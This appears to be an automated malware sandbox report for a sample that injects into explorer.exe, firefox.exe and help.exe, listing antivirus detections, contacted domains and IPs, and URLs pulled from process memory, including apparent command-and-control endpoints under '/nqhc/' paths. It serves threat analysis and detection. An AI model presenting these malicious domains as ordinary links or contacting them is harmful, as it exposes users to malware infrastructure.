30.0.firefox.exe.28e93814.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
29.0.explorer.exe.13e83814.2.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
19.2.help.exe.34b0910.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
11.0.Jjfmcz1Hsz.exe.400000.2.unpack	100%	Avira	HEUR/AGEN.1223491	Download File
29.0.explorer.exe.13e83814.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
19.2.help.exe.3c73814.4.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
29.0.explorer.exe.13e83814.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File

Domains

Source	Detection	Scanner	Link
botbillionsblaze.website	1%	Virustotal	Browse
www.phootka.ru	2%	Virustotal	Browse
www.youlian.fund	1%	Virustotal	Browse
www.t1fbrc.com	0%	Virustotal	Browse
xn--29-oj9ik7b890b.net	2%	Virustotal	Browse
www.funknive.ch	2%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
https://deff.nelreports.net/api/report?cat=msn	0%	Avira URL Cloud	safe
http://www.005404.com/nqhc/	0%	Avira URL Cloud	safe
http://www.pinwheeleffect.org/nqhc/	0%	Avira URL Cloud	safe
http://i3.cdn-image.com/__media__/pics/7985/headerstrip.gif)	0%	Avira URL Cloud	safe
http://www.botbillionsblaze.website/nqhc/?7nWHV=Jo9Ly5swECirkrz+Q2kB1mJjI2FdxMCd6ppqF2nJOFmXYuV8xeQe4DXLVR0s/AtaPMk93SVGZaQ/v2g/wIz4PNYN1ua2MlcQRg==&t0D=yFNHS0IX	100%	Avira URL Cloud	malware
http://www.gumba.shop/nqhc/?7nWHV=f4F7ffrY91VPAaIYxk1J2He+DN38Gtglpvx7SxOWIh8xSFztRImtD0B4ZlSdLvIOg82xMJ3Gh/Bbh1FonXE4rjX3AOld5zRxFA==&t0D=yFNHS0IX	0%	Avira URL Cloud	safe
http://www.royaltechglobal.com/nqhc/?7nWHV=RArbiR8kGTfwvUfF12jr2giE5B3dEAwcjM/WknZipSSonmN/xNtrcN1ZKvLPmagqEcu1BGBCcvtDrHnt/goojoamQzAeoLFDeA==&t0D=yFNHS0IX	0%	Avira URL Cloud	safe
http://www.royaltechglobal.com/nqhc/	0%	Avira URL Cloud	safe
http://xn--299aa717y.xn--3e0b707e/wp-json/	0%	Avira URL Cloud	safe
http://inference.location.live.com11111111-1111-1111-1111-111111111111https://partnernext-inference.	0%	Avira URL Cloud	safe
http://schemas.microso~m	0%	Avira URL Cloud	safe
http://royaltechglobal.com/nqhc/?7nWHV=RArbiR8kGTfwvUfF12jr2giE5B3dEAwcjM/WknZipSSonmN/xNtrcN1ZKvLPm	0%	Avira URL Cloud	safe
http://www.gouldent.site/nqhc/	0%	Avira URL Cloud	safe
http://i3.cdn-image.com/__media__/pics/8934/frt_arr.jpg)	0%	Avira URL Cloud	safe
https://word.office.comy	0%	Avira URL Cloud	safe
http://i3.cdn-image.com/__media__/pics/7985/netsol-logos.jpg	0%	Avira URL Cloud	safe
http://www.gopher.ftp://ftp.	0%	Avira URL Cloud	safe
http://xn--299aa717y.xn--3e0b707e	0%	Avira URL Cloud	safe
http://www.pinwheeleffect.org/Best_Penny_Stocks.cfm?fp=oTSDZKU%2B0iibnvnGRZVQNnk%2BJyUzFuBOGaWliWxRK	0%	Avira URL Cloud	safe
http://www.apidachicago.org/nqhc/	0%	Avira URL Cloud	safe
http://www.searchbot.su/nqhc/?7nWHV=whxvAX76Kn/dsraFEG6OM4VHSLC6sVqO0rZz4tdexYeFc8oztoloeHnU5/yDvq6vrM0c8H7EZKwvMwvNWmxWHwyHX3Pe6w5pjw==&t0D=yFNHS0IX	100%	Avira URL Cloud	malware
http://www.wellnessprodia.com/nqhc/?7nWHV=cCAegqK/nzfcR22oyFZFZLhv7+fwUp6Akkv27RFimicapgMUJBRfpG+MwKY/yKfw/XeAmq4HqwYY5KwMyaSJSZOUIGIe3VRiGA==&t0D=yFNHS0IX	0%	Avira URL Cloud	safe
http://xn--299aa717y.xn--3e0b707e/comments/feed/	0%	Avira URL Cloud	safe
http://www.Pinwheeleffect.org	0%	Avira URL Cloud	safe
http://i3.cdn-image.com/__media__/pics/8934/srch-bg.gif)	0%	Avira URL Cloud	safe
http://www.pinwheeleffect.org/Migraine_Pain_Relief.cfm?fp=oTSDZKU%2B0iibnvnGRZVQNnk%2BJyUzFuBOGaWliW	0%	Avira URL Cloud	safe
http://www.phootka.ru/nqhc/?7nWHV=nxEpVeNHnARypVRSWPzq+Yc9yhVf8J7idG64BP0ay1SSlgh8opdyHa7T5FU3HpxZiEIb1VwF2iL8pFHt356/ltXz75Eg7AD5bw==&t0D=yFNHS0IX	0%	Avira URL Cloud	safe
http://www.pinwheeleffect.org/Health_Insurance.cfm?fp=oTSDZKU%2B0iibnvnGRZVQNnk%2BJyUzFuBOGaWliWxRKR	0%	Avira URL Cloud	safe
http://xn--299aa717y.xn--3e0b707e/feed/	0%	Avira URL Cloud	safe
http://www.pinwheeleffect.org/Best_Mortgage_Rates.cfm?fp=oTSDZKU%2B0iibnvnGRZVQNnk%2BJyUzFuBOGaWliWx	0%	Avira URL Cloud	safe
http://xn--299aa717y.xn--3e0b707e/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.3.2	0%	Avira URL Cloud	safe
http://www.apidachicago.org/nqhc/?7nWHV=6/QR3dlMV8DnDzXq/IQFMQKijd2A7lxAIJkdxNKkhe40n6kgsPq7UgH72h9AXiRjRkbt4wliAP55gS4vzkyfbvVcBKnLGlwpJg==&t0D=yFNHS0IX	0%	Avira URL Cloud	safe
http://i3.cdn-image.com/__media__/pics/8934/rcomlogo.jpg	0%	Avira URL Cloud	safe
http://www.005404.com/nqhc/?7nWHV=OyL0MBeXxkJ8chUEliFq9s6bwomTkxJ31rz9dsojrpNScTyiwKCDYYQmiQ8xCDXEzp0hbp4MCFP9aLVw4Be6pAeHIY4JilfakQ==&t0D=yFNHS0IX	0%	Avira URL Cloud	safe
http://www.youlian.fund/nqhc/?7nWHV=MkuUvDTfzFLprDgv0d/zCzEj80YoaBEagpxYPCZUDQ8arMBq5slv03vCCvkVDe0A6/c8Ceh5Akj/CnOQLB+qucpYk5Fxn1TZTg==&t0D=yFNHS0IX	0%	Avira URL Cloud	safe
http://www.gumba.shop/nqhc/	0%	Avira URL Cloud	safe
http://www.pinwheeleffect.org/nqhc/?7nWHV=5+D/AEotBIiARx+RPOYdHDoSCIwvlBfWKmb14ofQdN1lqNdZOlbl7P8VoNd3a3Fenblb13q2VSw+uZcH+Wrp87x4A2/T8XiFdA==&jP1=y48xBzJ0mzz	0%	Avira URL Cloud	safe
http://www.pinwheeleffect.org/Parental_Control.cfm?fp=oTSDZKU%2B0iibnvnGRZVQNnk%2BJyUzFuBOGaWliWxRKR	0%	Avira URL Cloud	safe
http://www.pinwheeleffect.org/Accident_Lawyers.cfm?fp=oTSDZKU%2B0iibnvnGRZVQNnk%2BJyUzFuBOGaWliWxRKR	0%	Avira URL Cloud	safe
www.xiaoxiuzhen.com/nqhc/	0%	Avira URL Cloud	safe
http://www.pinwheeleffect.org/High_Speed_Internet.cfm?fp=oTSDZKU%2B0iibnvnGRZVQNnk%2BJyUzFuBOGaWliWx	0%	Avira URL Cloud	safe
http://xn--299aa717y.xn--3e0b707e/wp-content/themes/twentytwentytwo/style.css?ver=1.3	0%	Avira URL Cloud	safe
http://www.pinwheeleffect.org/music_videos.cfm?fp=oTSDZKU%2B0iibnvnGRZVQNnk%2BJyUzFuBOGaWliWxRKRoC9f	0%	Avira URL Cloud	safe
https://dts.gnpge.com	0%	Avira URL Cloud	safe
http://www.youlian.fund/nqhc/	0%	Avira URL Cloud	safe
http://www.xn--29-oj9ik7b890b.net/nqhc/?7nWHV=YpBcfthyu6gwcnN/g9jRvpxtfUkdEaz6LsXfXUppEZSnE0c1g3RTY5b27kCACk8vV3w0fGJq4rusk2G49vjJdiO+izISunFXUA==&t0D=yFNHS0IX	0%	Avira URL Cloud	safe
http://i3.cdn-image.com/__media__/pics/8932/arrows.jpg)	0%	Avira URL Cloud	safe
http://xn--299aa717y.xn--3e0b707e/	0%	Avira URL Cloud	safe
http://www.popular.directory/nqhc/	0%	Avira URL Cloud	safe
http://www.funknive.ch/nqhc/	0%	Avira URL Cloud	safe
http://www.pinwheeleffect.org/px.js?ch=2	0%	Avira URL Cloud	safe
http://www.pinwheeleffect.org/px.js?ch=1	0%	Avira URL Cloud	safe
http://schemas.micro	0%	Avira URL Cloud	safe
http://www.xiaoxiuzhen.com/nqhc/	0%	Avira URL Cloud	safe
http://www.pinwheeleffect.org/display.cfm	0%	Avira URL Cloud	safe
http://www.botbillionsblaze.website/nqhc/	100%	Avira URL Cloud	malware
http://www.phootka.ru/nqhc/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
botbillionsblaze.website	2.57.90.16	true	true	1%, Virustotal, Browse	unknown
www.phootka.ru	195.24.68.23	true	true	2%, Virustotal, Browse	unknown
xn--29-oj9ik7b890b.net	50.87.192.144	true	true	2%, Virustotal, Browse	unknown
www.youlian.fund	154.204.24.45	true	true	1%, Virustotal, Browse	unknown
www.xiaoxiuzhen.com	38.55.15.214	true	true		unknown
www.searchbot.su	45.130.41.24	true	true		unknown
www.005404.com	103.63.2.175	true	true		unknown
www.popular.directory	64.190.63.111	true	true		unknown
www.t1fbrc.com	103.91.8.90	true	true	0%, Virustotal, Browse	unknown
www.funknive.ch	185.101.158.239	true	true	2%, Virustotal, Browse	unknown
www.gouldent.site	66.29.151.40	true	true		unknown
royaltechglobal.com	192.185.32.157	true	true		unknown
drive.google.com	172.217.23.110	true	false		high
www.labour-office.com	198.58.118.167	true	true		unknown
wellnessprodia.com	192.232.217.125	true	true		unknown
www.gumba.shop	75.2.81.212	true	true		unknown
www.apidachicago.org	194.245.148.189	true	true		unknown
www.pinwheeleffect.org	208.91.197.39	true	true		unknown
googlehosted.l.googleusercontent.com	142.250.184.225	true	false		high
www.wellnessprodia.com	unknown	unknown	true		unknown
www.botbillionsblaze.website	unknown	unknown	true		unknown
www.noprostatit.store	unknown	unknown	true		unknown
www.royaltechglobal.com	unknown	unknown	true		unknown
www.westinotion.tech	unknown	unknown	true		unknown
www.xn--29-oj9ik7b890b.net	unknown	unknown	true		unknown
doc-0g-7s-docs.googleusercontent.com	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.royaltechglobal.com/nqhc/	true	Avira URL Cloud: safe	unknown
http://www.pinwheeleffect.org/nqhc/	true	Avira URL Cloud: safe	unknown
http://www.botbillionsblaze.website/nqhc/?7nWHV=Jo9Ly5swECirkrz+Q2kB1mJjI2FdxMCd6ppqF2nJOFmXYuV8xeQe4DXLVR0s/AtaPMk93SVGZaQ/v2g/wIz4PNYN1ua2MlcQRg==&t0D=yFNHS0IX	true	Avira URL Cloud: malware	unknown
http://www.gumba.shop/nqhc/?7nWHV=f4F7ffrY91VPAaIYxk1J2He+DN38Gtglpvx7SxOWIh8xSFztRImtD0B4ZlSdLvIOg82xMJ3Gh/Bbh1FonXE4rjX3AOld5zRxFA==&t0D=yFNHS0IX	true	Avira URL Cloud: safe	unknown
http://www.005404.com/nqhc/	true	Avira URL Cloud: safe	unknown
http://www.royaltechglobal.com/nqhc/?7nWHV=RArbiR8kGTfwvUfF12jr2giE5B3dEAwcjM/WknZipSSonmN/xNtrcN1ZKvLPmagqEcu1BGBCcvtDrHnt/goojoamQzAeoLFDeA==&t0D=yFNHS0IX	true	Avira URL Cloud: safe	unknown
http://www.apidachicago.org/nqhc/	true	Avira URL Cloud: safe	unknown
http://www.gouldent.site/nqhc/	true	Avira URL Cloud: safe	unknown
http://www.searchbot.su/nqhc/?7nWHV=whxvAX76Kn/dsraFEG6OM4VHSLC6sVqO0rZz4tdexYeFc8oztoloeHnU5/yDvq6vrM0c8H7EZKwvMwvNWmxWHwyHX3Pe6w5pjw==&t0D=yFNHS0IX	true	Avira URL Cloud: malware	unknown
http://www.wellnessprodia.com/nqhc/?7nWHV=cCAegqK/nzfcR22oyFZFZLhv7+fwUp6Akkv27RFimicapgMUJBRfpG+MwKY/yKfw/XeAmq4HqwYY5KwMyaSJSZOUIGIe3VRiGA==&t0D=yFNHS0IX	true	Avira URL Cloud: safe	unknown
http://www.phootka.ru/nqhc/?7nWHV=nxEpVeNHnARypVRSWPzq+Yc9yhVf8J7idG64BP0ay1SSlgh8opdyHa7T5FU3HpxZiEIb1VwF2iL8pFHt356/ltXz75Eg7AD5bw==&t0D=yFNHS0IX	true	Avira URL Cloud: safe	unknown
http://www.apidachicago.org/nqhc/?7nWHV=6/QR3dlMV8DnDzXq/IQFMQKijd2A7lxAIJkdxNKkhe40n6kgsPq7UgH72h9AXiRjRkbt4wliAP55gS4vzkyfbvVcBKnLGlwpJg==&t0D=yFNHS0IX	true	Avira URL Cloud: safe	unknown
http://www.gumba.shop/nqhc/	true	Avira URL Cloud: safe	unknown
http://www.005404.com/nqhc/?7nWHV=OyL0MBeXxkJ8chUEliFq9s6bwomTkxJ31rz9dsojrpNScTyiwKCDYYQmiQ8xCDXEzp0hbp4MCFP9aLVw4Be6pAeHIY4JilfakQ==&t0D=yFNHS0IX	true	Avira URL Cloud: safe	unknown
http://www.youlian.fund/nqhc/?7nWHV=MkuUvDTfzFLprDgv0d/zCzEj80YoaBEagpxYPCZUDQ8arMBq5slv03vCCvkVDe0A6/c8Ceh5Akj/CnOQLB+qucpYk5Fxn1TZTg==&t0D=yFNHS0IX	true	Avira URL Cloud: safe	unknown
www.xiaoxiuzhen.com/nqhc/	true	Avira URL Cloud: safe	low
http://www.pinwheeleffect.org/nqhc/?7nWHV=5+D/AEotBIiARx+RPOYdHDoSCIwvlBfWKmb14ofQdN1lqNdZOlbl7P8VoNd3a3Fenblb13q2VSw+uZcH+Wrp87x4A2/T8XiFdA==&jP1=y48xBzJ0mzz	true	Avira URL Cloud: safe	unknown
http://www.xn--29-oj9ik7b890b.net/nqhc/?7nWHV=YpBcfthyu6gwcnN/g9jRvpxtfUkdEaz6LsXfXUppEZSnE0c1g3RTY5b27kCACk8vV3w0fGJq4rusk2G49vjJdiO+izISunFXUA==&t0D=yFNHS0IX	true	Avira URL Cloud: safe	unknown
http://www.youlian.fund/nqhc/	true	Avira URL Cloud: safe	unknown
http://www.popular.directory/nqhc/	true	Avira URL Cloud: safe	unknown
http://www.funknive.ch/nqhc/	true	Avira URL Cloud: safe	unknown
http://www.xiaoxiuzhen.com/nqhc/	true	Avira URL Cloud: safe	unknown
http://www.botbillionsblaze.website/nqhc/	true	Avira URL Cloud: malware	unknown
http://www.phootka.ru/nqhc/	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://i3.cdn-image.com/__media__/pics/7985/headerstrip.gif)	help.exe, 00000013.00000002.5839690170.0000000006210000.00000004.00000800.00020000.00000000.sdmp, help.exe, 00000013.00000002.5838050175.000000000530E000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/chrome_newtab	help.exe, 00000013.00000003.1932954481.0000000007E11000.00000004.00000800.00020000.00000000.sdmp, help.exe, 00000013.00000003.1928937350.0000000007DBB000.00000004.00000800.00020000.00000000.sdmp, 231-EqK-.19.dr	false		high
https://uk.search.yahoo.com/favicon.icohttps://uk.search.yahoo.com/search	help.exe, 00000013.00000003.1932954481.0000000007E11000.00000004.00000800.00020000.00000000.sdmp, help.exe, 00000013.00000003.1928937350.0000000007DBB000.00000004.00000800.00020000.00000000.sdmp, 231-EqK-.19.dr	false		high
https://duckduckgo.com/ac/?q=	help.exe, 00000013.00000003.1928937350.0000000007DBB000.00000004.00000800.00020000.00000000.sdmp, 231-EqK-.19.dr	false		high
https://doc-0g-7s-docs.googleusercontent.com/b	Jjfmcz1Hsz.exe, 0000000B.00000002.1324818516.00000000017FA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.networksolutions.com/legal/static-service-agreement.jsp	help.exe, 00000013.00000002.5839690170.0000000006210000.00000004.00000800.00020000.00000000.sdmp, help.exe, 00000013.00000002.5838050175.000000000530E000.00000004.10000000.00040000.00000000.sdmp	false		high
https://api.msn.com:443/v1/news/Feed/Windows?	explorer.exe, 0000001D.00000000.1578203859.0000000005400000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1650696927.0000000009848000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1719526997.0000000005400000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1646036083.0000000005400000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1582853419.0000000009848000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1437337668.0000000005400000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1724750579.0000000009848000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1444672750.0000000009848000.00000004.00000001.00020000.00000000.sdmp	false		high
http://xn--299aa717y.xn--3e0b707e/wp-json/	help.exe, 00000013.00000002.5838386641.00000000054A0000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://inference.location.live.com11111111-1111-1111-1111-111111111111https://partnernext-inference.	Jjfmcz1Hsz.exe, 0000000B.00000001.981436197.0000000000649000.00000008.00000001.01000000.00000006.sdmp	false	Avira URL Cloud: safe	unknown
https://www.nic.ru/	help.exe, 00000013.00000002.5838813103.0000000005632000.00000004.10000000.00040000.00000000.sdmp	false		high
https://deff.nelreports.net/api/report?cat=msn	explorer.exe, 0000001D.00000000.1482349161.0000000010048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1680456207.0000000010048000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://excel.office.com	explorer.exe, 0000001D.00000000.1734878004.000000000D05C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1479232269.000000000FF1B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1607377108.000000000FF1B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1660900795.000000000D05C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1590839096.000000000D05C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1455985675.000000000D05C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1678904598.000000000FF1B000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd-//W3O//DTD	Jjfmcz1Hsz.exe, 0000000B.00000001.981233524.0000000000626000.00000008.00000001.01000000.00000006.sdmp	false		high
https://js.users.51.la/21461531.js	help.exe, 00000013.00000002.5836975372.0000000004B34000.00000004.10000000.00040000.00000000.sdmp	false		high
http://www.gopher.ftp://ftp.	Jjfmcz1Hsz.exe, 0000000B.00000001.981436197.0000000000649000.00000008.00000001.01000000.00000006.sdmp	false	Avira URL Cloud: safe	unknown
http://royaltechglobal.com/nqhc/?7nWHV=RArbiR8kGTfwvUfF12jr2giE5B3dEAwcjM/WknZipSSonmN/xNtrcN1ZKvLPm	help.exe, 00000013.00000002.5836164639.00000000044EC000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.microso~m	explorer.exe, 0000001D.00000000.1678287639.000000000FE9D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1606627275.000000000FE9D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1478136479.000000000FE9D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://www.pinwheeleffect.org/Best_Penny_Stocks.cfm?fp=oTSDZKU%2B0iibnvnGRZVQNnk%2BJyUzFuBOGaWliWxRK	help.exe, 00000013.00000002.5839690170.0000000006210000.00000004.00000800.00020000.00000000.sdmp, help.exe, 00000013.00000002.5838050175.000000000530E000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://i3.cdn-image.com/__media__/pics/7985/netsol-logos.jpg	help.exe, 00000013.00000002.5839690170.0000000006210000.00000004.00000800.00020000.00000000.sdmp, help.exe, 00000013.00000002.5838050175.000000000530E000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.nic.ru/help/oshibka-404_8500.html	help.exe, 00000013.00000002.5838813103.0000000005632000.00000004.10000000.00040000.00000000.sdmp	false		high
http://xn--299aa717y.xn--3e0b707e	help.exe, 00000013.00000002.5838386641.00000000054A0000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/news/us/texas-gov-abbott-sends-miles-of-cars-along-border-to-deter-migrant	explorer.exe, 0000001D.00000000.1578203859.0000000005400000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1719526997.0000000005400000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1646036083.0000000005400000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1437337668.0000000005400000.00000004.00000001.00020000.00000000.sdmp	false		high
http://repository.certum.pl/ctsca2021.cer0	Jjfmcz1Hsz.exe	false		high
https://uk.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	help.exe, 00000013.00000003.1932954481.0000000007E11000.00000004.00000800.00020000.00000000.sdmp, help.exe, 00000013.00000003.1928937350.0000000007DBB000.00000004.00000800.00020000.00000000.sdmp, 231-EqK-.19.dr	false		high
https://drive.google.com/	Jjfmcz1Hsz.exe, 0000000B.00000002.1324658870.00000000017E5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://word.office.comy	explorer.exe, 0000001D.00000000.1479232269.000000000FF1B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1607377108.000000000FF1B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1678904598.000000000FF1B000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://customersupport.networksolutions.com/article.php?id=306	help.exe, 00000013.00000002.5839690170.0000000006210000.00000004.00000800.00020000.00000000.sdmp, help.exe, 00000013.00000002.5838050175.000000000530E000.00000004.10000000.00040000.00000000.sdmp	false		high
http://i3.cdn-image.com/__media__/pics/8934/frt_arr.jpg)	help.exe, 00000013.00000002.5839690170.0000000006210000.00000004.00000800.00020000.00000000.sdmp, help.exe, 00000013.00000002.5838050175.000000000530E000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://wns.windows.com/	explorer.exe, 0000001D.00000000.1483111483.000000001009F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1680933547.000000001009F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1609653243.000000001009F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.Pinwheeleffect.org	help.exe, 00000013.00000002.5839690170.0000000006210000.00000004.00000800.00020000.00000000.sdmp, help.exe, 00000013.00000002.5838050175.000000000530E000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.certum.pl/CPS0	Jjfmcz1Hsz.exe	false		high
https://assets.msn.com/weathermapdata/1/static/svg/72/MostlySunnyDay.svg	explorer.exe, 0000001D.00000000.1578203859.0000000005400000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1719526997.0000000005400000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1646036083.0000000005400000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1437337668.0000000005400000.00000004.00000001.00020000.00000000.sdmp	false		high
https://yastatic.net/pcode/adfox/loader.js	help.exe, 00000013.00000002.5838813103.0000000005632000.00000004.10000000.00040000.00000000.sdmp	false		high
https://www.msn.com/en-us/tv/celebrity/tarek-el-moussa-tests-positive-for-covid-19-shuts-down-filmin	explorer.exe, 0000001D.00000000.1578203859.0000000005400000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1719526997.0000000005400000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1646036083.0000000005400000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1437337668.0000000005400000.00000004.00000001.00020000.00000000.sdmp	false		high
http://crl.certum.pl/ctnca.crl0k	Jjfmcz1Hsz.exe	false		high
http://i3.cdn-image.com/__media__/pics/8934/srch-bg.gif)	help.exe, 00000013.00000002.5839690170.0000000006210000.00000004.00000800.00020000.00000000.sdmp, help.exe, 00000013.00000002.5838050175.000000000530E000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://xn--299aa717y.xn--3e0b707e/feed/	help.exe, 00000013.00000002.5838386641.00000000054A0000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://xn--299aa717y.xn--3e0b707e/comments/feed/	help.exe, 00000013.00000002.5838386641.00000000054A0000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/news/technology/facebook-oversight-board-reviewing-xcheck-system-for-vips/	explorer.exe, 0000001D.00000000.1578203859.0000000005400000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1719526997.0000000005400000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1646036083.0000000005400000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1437337668.0000000005400000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.pinwheeleffect.org/Health_Insurance.cfm?fp=oTSDZKU%2B0iibnvnGRZVQNnk%2BJyUzFuBOGaWliWxRKR	help.exe, 00000013.00000002.5839690170.0000000006210000.00000004.00000800.00020000.00000000.sdmp, help.exe, 00000013.00000002.5838050175.000000000530E000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pinwheeleffect.org/Migraine_Pain_Relief.cfm?fp=oTSDZKU%2B0iibnvnGRZVQNnk%2BJyUzFuBOGaWliW	help.exe, 00000013.00000002.5839690170.0000000006210000.00000004.00000800.00020000.00000000.sdmp, help.exe, 00000013.00000002.5838050175.000000000530E000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	help.exe, 00000013.00000003.1928937350.0000000007DBB000.00000004.00000800.00020000.00000000.sdmp, 231-EqK-.19.dr	false		high
https://ww.msn.com/en-us/tv/celebrity/tarek-el-moussa-tests-positive-for-covid-19-shuts-down-filming	explorer.exe, 0000001D.00000000.1578203859.0000000005400000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1719526997.0000000005400000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1646036083.0000000005400000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1437337668.0000000005400000.00000004.00000001.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	Jjfmcz1Hsz.exe	false		high
http://www.pinwheeleffect.org/Best_Mortgage_Rates.cfm?fp=oTSDZKU%2B0iibnvnGRZVQNnk%2BJyUzFuBOGaWliWx	help.exe, 00000013.00000002.5839690170.0000000006210000.00000004.00000800.00020000.00000000.sdmp, help.exe, 00000013.00000002.5838050175.000000000530E000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://i3.cdn-image.com/__media__/pics/8934/rcomlogo.jpg	help.exe, 00000013.00000002.5839690170.0000000006210000.00000004.00000800.00020000.00000000.sdmp, help.exe, 00000013.00000002.5838050175.000000000530E000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://outlook.com	explorer.exe, 0000001D.00000000.1734878004.000000000D05C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1660900795.000000000D05C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1590839096.000000000D05C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1455985675.000000000D05C000.00000004.00000001.00020000.00000000.sdmp	false		high
https://api.msn.com/v1/news/Feed/Windows?activityId=5696A836803C42E0B53F7BB2770E5342&timeOut=10000&o	explorer.exe, 0000001D.00000000.1578203859.0000000005400000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1719526997.0000000005400000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1646036083.0000000005400000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1437337668.0000000005400000.00000004.00000001.00020000.00000000.sdmp	false		high
http://xn--299aa717y.xn--3e0b707e/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.3.2	help.exe, 00000013.00000002.5838386641.00000000054A0000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nsis.sf.net/NSIS_Error	Jjfmcz1Hsz.exe	false		high
